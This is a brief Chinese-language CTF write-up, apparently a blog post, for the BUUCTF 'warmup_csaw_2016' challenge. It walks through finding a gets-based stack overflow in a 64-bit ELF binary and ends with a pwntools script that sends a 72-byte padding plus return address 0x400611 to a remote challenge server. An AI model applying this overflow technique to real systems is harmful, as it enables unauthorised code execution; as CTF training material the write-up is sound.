BUU warmup_csaw_2016
首先file,发现是64位ELF文件。
IDA发现main函数中return了get函数,存在溢出点。
查看文件中的字符串,发现有'cat flag.txt'
双击后发现在sub_40060D函数中
双击sub_40060D,右键打开文本视图,可以看到这行代码的地址是0x400611,所以我们需要将它覆盖eip,作为返回地址
main调用gets函数时,首先会将参数v5压栈,而v5是一个64字节的char数组,所以我们需要填满64字节+ebp的8字节=72字节,然后再填入返回地址0x400611即可覆盖eip了。
构造payload,即可得到flag!
from pwn import *
p = remote("node4.buuoj.cn",27708)
payload = b'0'*72 + p64(0x400611)
p.sendline(payload)
p.interactive()
标签:BUUctf,字节,warmup,64,2016,payload,csaw
From: https://www.cnblogs.com/nemuzuki/p/17163643.html